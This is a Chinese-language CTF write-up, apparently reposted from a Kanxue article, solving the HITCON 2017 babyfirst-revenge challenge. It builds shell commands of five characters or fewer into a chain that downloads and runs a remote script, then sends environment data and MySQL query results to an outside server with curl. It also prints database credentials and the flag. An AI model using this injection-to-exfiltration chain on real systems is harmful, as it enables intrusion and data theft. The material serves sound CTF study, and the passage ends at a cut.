2026-10-16 09:59:29 网络安全文章来源：ZONE.CI 全球网 0 阅读模式

HITCON2017 babyfirst-revenge 看雪 CTF 复现

the\_hs
the\_hs

看雪学苑

2026年9月23日 17:59
上海

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

我愿称之为“第三方 WP 都只差最后半步”的一题。

原题本身并不新，核心还是利用长度不超过 5 的命令，通过文件名、续行符和 ls -t 拼出长命令。

但是看雪环境有几个额外问题：

REMOTE_ADDR

是网关内网 IP，不是攻击者公网 IP；
* 公网 IP 哈希出的 sandbox 路径没有用；
* 部分第三方 WP 里的命令实际上超过长度限制；
* 部分 WP 依赖自己持有短域名；
* curl ... | sh

在这台靶机上实测不稳定；
* 直接把小数点 IP 分段成文件名还容易踩隐藏文件问题。

Step.0 准备一个 80 端口可用的服务器

需要一台靶机能够访问的 HTTP 服务器。

我这里使用 FRP，把本地 8000 端口映射到公网服务器的 80 端口：

serverAddr = \"11.4.5.14\"
serverPort = 7000
auth.token = \"********\"

[[proxies]]
name = \"ctf_http_80\"
type = \"tcp\"
localIP = \"127.0.0.1\"
localPort = 8000
remotePort = 80

本地 HTTP 服务需要实现两个功能：

返回动态修改的 index.html；
接收靶机通过 curl --data-binary 回传的数据。

建议记录 User-Agent。公网 80 端口会有大量扫描日志，靶机的请求大概是：

GET /from ... UA='curl/7.47.0'

Step.1 为什么不能直接照抄第三方 WP

ls>>a写不进去

不少 WP 使用下面的第一阶段：

>-t\\
>\\>q
>l\\
>s\\ \\
ls>a
ls>>a

问题是这台机器>>和｜都莫名其妙写不进去，可能是ngx或者什么拦截了...

REMOTE_ADDR 不是你的公网 IP

原题 sandbox 是：

$sandbox = '/www/sandbox/' . md5(\"orange\" . $_SERVER['REMOTE_ADDR']);

但是看雪靶机前面有网关反代，PHP 看到的 REMOTE_ADDR 是网关内网地址，而不是攻击者出口 IP。

所以第三方 WP 中这种操作会失败：

md5(\"orange\" + 自己的公网IP)

然后访问：

/sandbox/<md5>/xxx

算出来的目录根本不是当前 sandbox。

因此最好直接把命令结果通过 HTTP POST 回传，不要依赖猜 sandbox 路径。

短域名 WP 不能直接替换成 IP

有第三方 WP 使用类似下面的技巧：

>echo
>w\\
*>>.a
rm w*
>ge\\
*>>.a
...

它的前提是攻击者持有一个足够短的字母域名，例如：

zxzz.tk

因为 echo 在字典序上排在 w、ge、zx 等文件名前面，所以：

*>>.a

展开后才会变成：

echo w\\ >> .a

如果直接把域名替换成数字 IP，数字文件名会排在 echo 前面：

11\\
.4.\\
5.1\\
...

此时 * 展开后的第一个单词就不再是 echo，而是数字文件名，命令直接失败。

如果把点号放在文件名开头，例如：

>.14
>.5\\

又会创建隐藏文件，默认 ls 根本不会把它们列出来。

curl ... | sh 在这台靶机上不稳定

理论上有多种 WP 使用：

curl IP | sh

我也构造出了对应命令，而且服务器确实收到了靶机的请求：

GET /from ... UA='curl/7.47.0'

说明 curl 成功了。

但是返回的 payload 没有继续执行。使用：

sleep 10

做测试，也没有观察到对应延时。

所以不要在这个环境里赌管道，直接改成：

curl IP -o x
sh x

落盘以后再执行，稳定很多。

Step.2 第一阶段：构造 ls -t>g

这里使用 Orange 官方 exploit 的第一阶段。

按顺序请求：

>ls\\
ls>_
>\\ \\
>-t\\
>\\>g
ls>>_

每个命令长度都小于等于 5。

这个阶段会利用特殊文件名和续行符，把文件 _ 拼成一个脚本，其中有效命令是：

ls -t>g

之后执行：

sh _

就会按照文件修改时间倒序，把当前目录中的文件名写入 g。

注意 ls -t 也会把 _、g 自身以及第一阶段的残留文件列进去，但这些多余行会因续行符拼接成无效命令而报错，不影响有效命令的执行。

Step.3 第二阶段：拼出下载命令

假设公网服务器是：

11.4.5.14

我们要构造：

curl 11.4.5.14 -o x

把它按文件名和续行符拆成：

cu\\
rl\\
 1\\
1.\\
4.\\
5.\\
14\\
 -\\
o\\
 x

由于 ls -t 是新文件在前，所以实际创建文件时要反过来，从最后一段开始创建：

>\\ x
>o\\
>\\ -\\
>14\\
>5.\\
>4.\\
>1.\\
>\\ 1\\
>rl\\
>cu\\

然后执行：

sh _
sh g
sh x

含义分别是：

sh _

执行第一阶段生成的脚本，得到文件 g；
* sh g

执行 curl 11.4.5.14 -o x，下载远程 payload；
* sh x

执行下载下来的脚本。

服务器上应该能看到：

GET /from ... UA='curl/7.47.0'

这一步成功以后，就获得了稳定的任意命令执行能力。

Step.4 回传命令结果

在公网服务器的 index.html 中放：

#!/bin/sh
{
echo '=== pwd/id/env ==='
pwd
id
env

echo '=== root ==='
ls -la /

echo '=== readme ==='
cat /README.txt 2>/dev/null

echo '=== mysql ==='
command -v mysql || true
} 2>&1 | curl --data-binary @- http://11.4.5.14/upload

重新执行：

sh _
sh g
sh x

服务器会收到：

POST /upload from ... UA='curl/7.47.0'

回显中的关键内容是：

/www/sandbox/3a5463e2cd4fa054a8bc44da1b1bbcaa
uid=33(www-data) gid=33(www-data)

以及根目录下的：

/README.txt

内容为：

Flag is in the MySQL database
fl4444g / SugZXUtgeJ52_Bvr

Step.5 查询 MySQL

把远程 index.html 改成：

#!/bin/sh
{
echo '=== databases ==='
  mysql -ufl4444g -pSugZXUtgeJ52_Bvr \\
    -e 'show databases;'

echo '=== flag ==='
  mysql -ufl4444g -pSugZXUtgeJ52_Bvr \\
    -e 'SELECT * FROM fl4gdb.this_is_the_fl4g;'
} 2>&1 | curl --data-binary @- http://11.4.5.14/upload

再次执行：

sh _
sh g
sh x

数据库返回：

Database
information_schema
fl4gdb
mysql
performance_schema
sys

最终查询结果：

secret
flag{43a0eac7-3bb6-471a-864d-2a75b894c8b9}

Flag

flag{43a0eac7-3bb6-471a-864d-2a75b894c8b9}

总结

这题真正可用的路线是：

文件名 + 续行符
        ↓
构造 ls -t>g
        ↓
用 ls -t 拼出 curl IP -o x
        ↓
下载 payload 到 x
        ↓
sh x
        ↓
curl POST 回显
        ↓
README 获取 MySQL 凭据
        ↓
查询 fl4gdb.this_is_the_fl4g

第三方 WP 的主要问题不是思路错误，而是看雪环境把它们依赖的条件拆掉了：